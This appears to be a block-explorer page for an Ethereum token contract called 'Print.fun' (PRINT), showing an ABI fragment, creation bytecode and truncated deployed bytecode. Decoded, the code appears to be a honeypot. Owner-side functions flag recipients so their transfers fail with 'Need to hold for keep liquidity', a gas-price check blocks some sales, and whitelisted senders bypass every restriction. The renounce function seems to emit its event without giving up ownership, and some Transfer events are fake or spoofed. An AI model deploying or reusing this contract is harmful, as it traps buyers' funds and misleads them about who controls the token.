puts":[{"internalType":"address","name":"","type":"address"}],"name":"whitelists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f5072696e742e66756e0000000000000000000000000000000000000000000000815250600890816200004a919062000e0e565b506040518060400160405280600581526020017f5052494e540000000000000000000000000000000000000000000000000000008152506009908162000091919062000e0e565b503480156200009f57600080fd5b5060405162003c1738038062003c178339818101604052810190620000c5919062000f90565b3360088054620000d59062000bfd565b80601f0160208091040260200160405190810160405280929190818152602001828054620001039062000bfd565b8015620001545780601f10620001285761010080835404028352916020019162000154565b820191906000526020600020905b8154815290600101906020018083116200013657829003601f168201915b505050505060098054620001689062000bfd565b80601f0160208091040260200160405190810160405280929190818152602001828054620001969062000bfd565b8015620001e75780601f10620001bb57610100808354040283529160200191620001e7565b820191906000526020600020905b815481529060010190602001808311620001c957829003601f168201915b505050505033848360039081620001ff919062000e0e565b50826004908162000211919062000e0e565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200030d5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000304919062000fe8565b60405180910390fd5b6200031e816200039160201b60201c565b506200033133836200045760201b60201c565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050620011f5565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004cc5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004c3919062000fe8565b60405180910390fd5b620004e060008383620004e460201b60201c565b5050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161562000550576200054a8383836200074960201b60201c565b62000744565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015620005f55750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b62000637576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200062e9062001066565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620006ad57620006a68484846200074960201b60201c565b5062000744565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200072f57620007168484846200074960201b60201c565b62000728600162000b4560201b60201c565b5062000744565b620007428484846200074960201b60201c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200079f578060026000828254620007929190620010b7565b9250508190555062000875565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200082e578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620008259392919062001103565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008c057806002600082825403925050819055506200090d565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620009f257600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009e4919062001140565b60405180910390a362000b40565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ad7578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ac9919062001140565b60405180910390a362000b3f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b36919062001140565b60405180910390a35b5b505050565b60003a90508181111562000b90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b8790620011d3565b60405180910390fd5b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c1657607f821691505b60208210810362000c2c5762000c2b62000bce565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c57565b62000ca2868362000c57565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cef62000ce962000ce38462000cba565b62000cc4565b62000cba565b9050919050565b6000819050919050565b62000d0b8362000cce565b62000d2362000d1a8262000cf6565b84845462000c64565b825550505050565b600090565b62000d3a62000d2b565b62000d4781848462000d00565b505050565b5b8181101562000d6f5762000d6360008262000d30565b60018101905062000d4d565b5050565b601f82111562000dbe5762000d888162000c32565b62000d938462000c47565b8101602085101562000da3578190505b62000dbb62000db28562000c47565b83018262000d4c565b50505b505050565b600082821c905092915050565b600062000de36000198460080262000dc3565b1980831691505092915050565b600062000dfe838362000dd0565b9150826002028217905092915050565b62000e198262000b94565b67ffffffffffffffff81111562000e355762000e3462000b9f565b5b62000e41825462000bfd565b62000e4e82828562000d73565b600060209050601f83116001811462000e86576000841562000e71578287015190505b62000e7d858262000df0565b86555062000eed565b601f19841662000e968662000c32565b60005b8281101562000ec05784890151825560018201915060208501945060208101905062000e99565b8683101562000ee0578489015162000edc601f89168262000dd0565b8355505b6001600288020188555050505b505050505050565b600080fd5b62000f058162000cba565b811462000f1157600080fd5b50565b60008151905062000f258162000efa565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f588262000f2b565b9050919050565b62000f6a8162000f4b565b811462000f7657600080fd5b50565b60008151905062000f8a8162000f5f565b92915050565b6000806040838503121562000faa5762000fa962000ef5565b5b600062000fba8582860162000f14565b925050602062000fcd8582860162000f79565b9150509250929050565b62000fe28162000f4b565b82525050565b600060208201905062000fff600083018462000fd7565b92915050565b600082825260208201905092915050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b60006200104e601f8362001005565b91506200105b8262001016565b602082019050919050565b6000602082019050818103600083015262001081816200103f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620010c48262000cba565b9150620010d18362000cba565b9250828201905080821115620010ec57620010eb62001088565b5b92915050565b620010fd8162000cba565b82525050565b60006060820190506200111a600083018662000fd7565b620011296020830185620010f2565b620011386040830184620010f2565b949350505050565b6000602082019050620011576000830184620010f2565b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000620011bb60278362001005565b9150620011c8826200115d565b604082019050919050565b60006020820190508181036000830152620011ee81620011ac565b9050919050565b612a1280620012056000396000f3fe608060405234801561001057600080fd5b50600436106102325760003560e01c806370a0823111610130578063a9059cbb116100b8578063daea85c51161007c578063daea85c514610623578063dd62ed3e1461063f578063e086e5ec1461066f578063efc21e3f14610679578063f2fde38b1461069757610232565b8063a9059cbb1461057d578063aac03939146105ad578063b839a80e146105cb578063cc1776d3146105e7578063cc2b78581461060557610232565b80638ba4cc3c116100ff5780638ba4cc3c146104fd5780638da5cb5b1461051957806395d89b41146105375780639e78fb4f146105555780639f5fa0281461055f57610232565b806370a0823114610489578063715018a6146104b957806379c65068146104c35780637b61c320146104df57610232565b806323b872dd116101be5780634f7041a5116101825780634f7041a5146103f5578063564b81ef14610413578063593ed58c1461043157806362256589146104615780636c02a9311461046b57610232565b806323b872dd1461034f5780632711b8a51461037f578063313ce5671461039d5780633de4b85c146103bb5780634022b75e146103d957610232565b8063109daa9911610205578063109daa99146102bd57806311894780146102c75780631641f1ba146102e557806318160ddd146103015780631e7be2101461031f57610232565b8063068acf6c1461023757806306fdde031461025357806307980cb914610271578063095ea7b31461028d575b600080fd5b610251600480360381019061024c91906120d2565b6106b3565b005b61025b6107bc565b604051610268919061218f565b60405180910390f35b61028b600480360381019061028691906120d2565b61084e565b005b6102a760048036038101906102a291906121e7565b61089a565b6040516102b49190612242565b60405180910390f35b6102c56108bd565b005b6102cf610903565b6040516102dc919061226c565b60405180910390f35b6102ff60048036038101906102fa9190612287565b61090a565b005b61030961094c565b604051610316919061226c565b60405180910390f35b610339600480360381019061033491906120d2565b610956565b6040516103469190612242565b60405180910390f35b610369600480360381019061036491906122b4565b610976565b6040516103769190612242565b60405180910390f35b6103876109a5565b604051610394919061226c565b60405180910390f35b6103a56109ae565b6040516103b29190612323565b60405180910390f35b6103c36109b7565b6040516103d0919061226c565b60405180910390f35b6103f360048036038101906103ee9190612549565b6109bd565b005b6103fd610a83565b60405161040a919061226c565b60405180910390f35b61041b610a89565b604051610428919061226c565b60405180910390f35b61044b60048036038101906104469190612287565b610a96565b60405161045891906125e3565b60405180910390f35b610469610ac9565b005b610473610b0f565b604051610480919061218f565b60405180910390f35b6104a3600480360381019061049e91906120d2565b610b9d565b6040516104b0919061226c565b60405180910390f35b6104c1610be5565b005b6104dd60048036038101906104d891906121e7565b610c51565b005b6104e7610cc7565b6040516104f4919061218f565b60405180910390f35b610517600480360381019061051291906121e7565b610d55565b005b610521610dcb565b60405161052e91906125e3565b60405180910390f35b61053f610df5565b60405161054c919061218f565b60405180910390f35b61055d610e87565b005b6105676110c5565b604051610574919061226c565b60405180910390f35b610597600480360381019061059291906121e7565b6110ca565b6040516105a49190612242565b60405180910390f35b6105b56110ed565b6040516105c291906125e3565b60405180910390f35b6105e560048036038101906105e09190612287565b611113565b005b6105ef611155565b6040516105fc919061226c565b60405180910390f35b61060d61115b565b60405161061a919061226c565b60405180910390f35b61063d600480360381019061063891906120d2565b611161565b005b610659600480360381019061065491906125fe565b6111c4565b604051610666919061226c565b60405180910390f35b61067761124b565b005b61068161129c565b60405161068e919061226c565b60405180910390f35b6106b160048036038101906106ac91906120d2565b6112a2565b005b6106bb611328565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106f691906125e3565b602060405180830381865afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107379190612653565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610774929190612680565b6020604051808303816000875af1158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b791906126d5565b505050565b6060600380546107cb90612731565b80601f01602080910402602001604051908101604052809291908181526020018280546107f790612731565b80156108445780601f1061081957610100808354040283529160200191610844565b820191906000526020600020905b81548152906001019060200180831161082757829003601f168201915b5050505050905090565b610856611328565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806108a56113af565b90506108b28185856113b7565b600191505092915050565b6108c5611328565b6000600d819055506000600c819055507f80de050b85d3a75cad8a3df5e178576f5df5879cad768c7b5600fa00770f2c7c60405160405180910390a1565b62013e3181565b610912611328565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b981604051610941919061226c565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000806109816113af565b905061098e8582856113c9565b61099985858561145d565b60019150509392505050565b60006002905090565b60006012905090565b61a86a81565b6109c5611328565b60005b8251811015610a7d578281815181106109e4576109e3612762565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a4d57610a4c612762565b5b6020026020010151604051610a62919061226c565b60405180910390a38080610a75906127c0565b9150506109c8565b50505050565b600d5481565b6000804690508091505090565b600e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad1611328565b6000600d819055506000600c819055507f2d53e1bd10978dd02f36cd1d3680151195d9f7358e0c867bc753abecafb55e4360405160405180910390a1565b60088054610b1c90612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612731565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bed611328565b600073ffffffffffffffffffffffffffffffffffffffff16610c0d610dcb565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610c59611328565b610c6b610c64610dcb565b838361145d565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60098054610cd490612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0090612731565b8015610d4d5780601f10610d2257610100808354040283529160200191610d4d565b820191906000526020600020905b815481529060010190602001808311610d3057829003601f168201915b505050505081565b610d5d611328565b610d6f610d68610dcb565b838361145d565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610e0490612731565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3090612731565b8015610e7d5780601f10610e5257610100808354040283529160200191610e7d565b820191906000526020600020905b815481529060010190602001808311610e6057829003601f168201915b5050505050905090565b610e8f611328565b610e97611551565b6000610ea1610a89565b9050600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303610f5b578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f54919061281d565b9150610fcd565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fca919061281d565b91505b60008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561101a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103e919061281d565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b815260040161107b92919061284a565b6020604051808303816000875af115801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be919061281d565b5050505050565b600181565b6000806110d56113af565b90506110e281858561145d565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61111b611328565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd8160405161114a919061226c565b60405180910390a150565b600c5481565b61a4b181565b611169611328565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611253611328565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611299573d6000803e3d6000fd5b50565b61210581565b6112aa611328565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361131c5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161131391906125e3565b60405180910390fd5b6113258161175b565b50565b6113306113af565b73ffffffffffffffffffffffffffffffffffffffff1661134e610dcb565b73ffffffffffffffffffffffffffffffffffffffff16146113ad576113716113af565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016113a491906125e3565b60405180910390fd5b565b600033905090565b6113c48383836001611821565b505050565b60006113d584846111c4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114575781811015611447578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161143e93929190612873565b60405180910390fd5b61145684848484036000611821565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114cf5760006040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016114c691906125e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115415760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161153891906125e3565b60405180910390fd5b61154c8383836119f8565b505050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a600e60006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e6000612105815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d4600e600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f6600e600062013e31815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e600061a4b1815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036118935760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161188a91906125e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119055760006040517f94280d620000000000000000000000000000000000000000000000000000000081526004016118fc91906125e3565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080156119f2578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516119e9919061226c565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a5a57611a55838383611c2b565b611c26565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611afe5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b34906128f6565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611ba957611ba3848484611c2b565b50611c26565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c1957611c09848484611c2b565b611c136001612014565b50611c26565b611c24848484611c2b565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c7d578060026000828254611c719190612916565b92505081905550611d50565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d09578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611d0093929190612873565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d995780600260008282540392505081905550611de6565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ec757600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611eba919061226c565b60405180910390a361200f565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fa8578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f9b919061226c565b60405180910390a361200e565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612005919061226c565b60405180910390a35b5b505050565b60003a90508181111561205c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612053906129bc565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061209f82612074565b9050919050565b6120af81612094565b81146120ba57600080fd5b50565b6000813590506120cc816120a6565b92915050565b6000602082840312156120e8576120e761206a565b5b60006120f6848285016120bd565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561213957808201518184015260208101905061211e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612161826120ff565b61216b818561210a565b935061217b81856020860161211b565b61218481612145565b840191505092915050565b600060208201905081810360008301526121a98184612156565b905092915050565b6000819050919050565b6121c4816121b1565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b600080604083850312156121fe576121fd61206a565b5b600061220c858286016120bd565b925050602061221d858286016121d2565b9150509250929050565b60008115159050919050565b61223c81612227565b82525050565b60006020820190506122576000830184612233565b92915050565b612266816121b1565b82525050565b6000602082019050612281600083018461225d565b92915050565b60006020828403121561229d5761229c61206a565b5b60006122ab848285016121d2565b91505092915050565b6000806000606084860312156122cd576122cc61206a565b5b60006122db868287016120bd565b93505060206122ec868287016120bd565b92505060406122fd868287016121d2565b9150509250925092565b600060ff82169050919050565b61231d81612307565b82525050565b60006020820190506123386000830184612314565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61237b82612145565b810181811067ffffffffffffffff8211171561239a57612399612343565b5b80604052505050565b60006123ad612060565b90506123b98282612372565b919050565b600067ffffffffffffffff8211156123d9576123d8612343565b5b602082029050602081019050919050565b600080fd5b60006124026123fd846123be565b6123a3565b90508083825260208201905060208402830185811115612425576124246123ea565b5b835b8181101561244e578061243a88826120bd565b845260208401935050602081019050612427565b5050509392505050565b600082601f83011261246d5761246c61233e565b5b813561247d8482602086016123ef565b91505092915050565b600067ffffffffffffffff8211156124a1576124a0612343565b5b602082029050602081019050919050565b60006124c56124c084612486565b6123a3565b905080838252602082019050602084028301858111156124e8576124e76123ea565b5b835b8181101561251157806124fd88826121d2565b8452602084019350506020810190506124ea565b5050509392505050565b600082601f8301126125305761252f61233e565b5b81356125408482602086016124b2565b91505092915050565b6000806000606084860312156125625761256161206a565b5b6000612570868287016120bd565b935050602084013567ffffffffffffffff8111156125915761259061206f565b5b61259d86828701612458565b925050604084013567ffffffffffffffff8111156125be576125bd61206f565b5b6125ca8682870161251b565b9150509250925092565b6125dd81612094565b82525050565b60006020820190506125f860008301846125d4565b92915050565b600080604083850312156126155761261461206a565b5b6000612623858286016120bd565b9250506020612634858286016120bd565b9150509250929050565b60008151905061264d816121bb565b92915050565b6000602082840312156126695761266861206a565b5b60006126778482850161263e565b91505092915050565b600060408201905061269560008301856125d4565b6126a2602083018461225d565b9392505050565b6126b281612227565b81146126bd57600080fd5b50565b6000815190506126cf816126a9565b92915050565b6000602082840312156126eb576126ea61206a565b5b60006126f9848285016126c0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061274957607f821691505b60208210810361275c5761275b612702565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127cb826121b1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127fd576127fc612791565b5b600182019050919050565b600081519050612817816120a6565b92915050565b6000602082840312156128335761283261206a565b5b600061284184828501612808565b91505092915050565b600060408201905061285f60008301856125d4565b61286c60208301846125d4565b9392505050565b600060608201905061288860008301866125d4565b612895602083018561225d565b6128a2604083018461225d565b949350505050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b60006128e0601f8361210a565b91506128eb826128aa565b602082019050919050565b6000602082019050818103600083015261290f816128d3565b9050919050565b6000612921826121b1565b915061292c836121b1565b925082820190508082111561294457612943612791565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b60006129a660278361210a565b91506129b18261294a565b604082019050919050565b600060208201905081810360008301526129d581612999565b905091905056fea264697066735822122041931305619d8f3ccddd15928226df79eb09d81b05b4bd72673aad986a54beb364736f6c634300081300330000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000f4877152c7513901ee494e88909671c0eed736c3
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106102325760003560e01c806370a0823111610130578063a9059cbb116100b8578063daea85c51161007c578063daea85c514610623578063dd62ed3e1461063f578063e086e5ec1461066f578063efc21e3f14610679578063f2fde38b1461069757610232565b8063a9059cbb1461057d578063aac03939146105ad578063b839a80e146105cb578063cc1776d3146105e7578063cc2b78581461060557610232565b80638ba4cc3c116100ff5780638ba4cc3c146104fd5780638da5cb5b1461051957806395d89b41146105375780639e78fb4f146105555780639f5fa0281461055f57610232565b806370a0823114610489578063715018a6146104b957806379c65068146104c35780637b61c320146104df57610232565b806323b872dd116101be5780634f7041a5116101825780634f7041a5146103f5578063564b81ef14610413578063593ed58c1461043157806362256589146104615780636c02a9311461046b57610232565b806323b872dd1461034f5780632711b8a51461037f578063313ce5671461039d5780633de4b85c146103bb5780634022b75e146103d957610232565b8063109daa9911610205578063109daa99146102bd57806311894780146102c75780631641f1ba146102e557806318160ddd146103015780631e7be2101461031f57610232565b8063068acf6c1461023757806306fdde031461025357806307980cb914610271578063095ea7b31461028d575b600080fd5b610251600480360381019061024c91906120d2565b6106b3565b005b61025b6107bc565b604051610268919061218f565b60405180910390f35b61028b600480360381019061028691906120d2565b61084e565b005b6102a760048036038101906102a291906121e7565b61089a565b6040516102b49190612242565b60405180910390f35b6102c56108bd565b005b6102cf610903565b6040516102dc919061226c565b60405180910390f35b6102ff60048036038101906102fa9190612287565b61090a565b005b61030961094c565b604051610316919061226c565b60405180910390f35b610339600480360381019061033491906120d2565b610956565b6040516103469190612242565b60405180910390f35b610369600480360381019061036491906122b4565b610976565b6040516103769190612242565b60405180910390f35b6103876109a5565b604051610394919061226c565b60405180910390f35b6103a561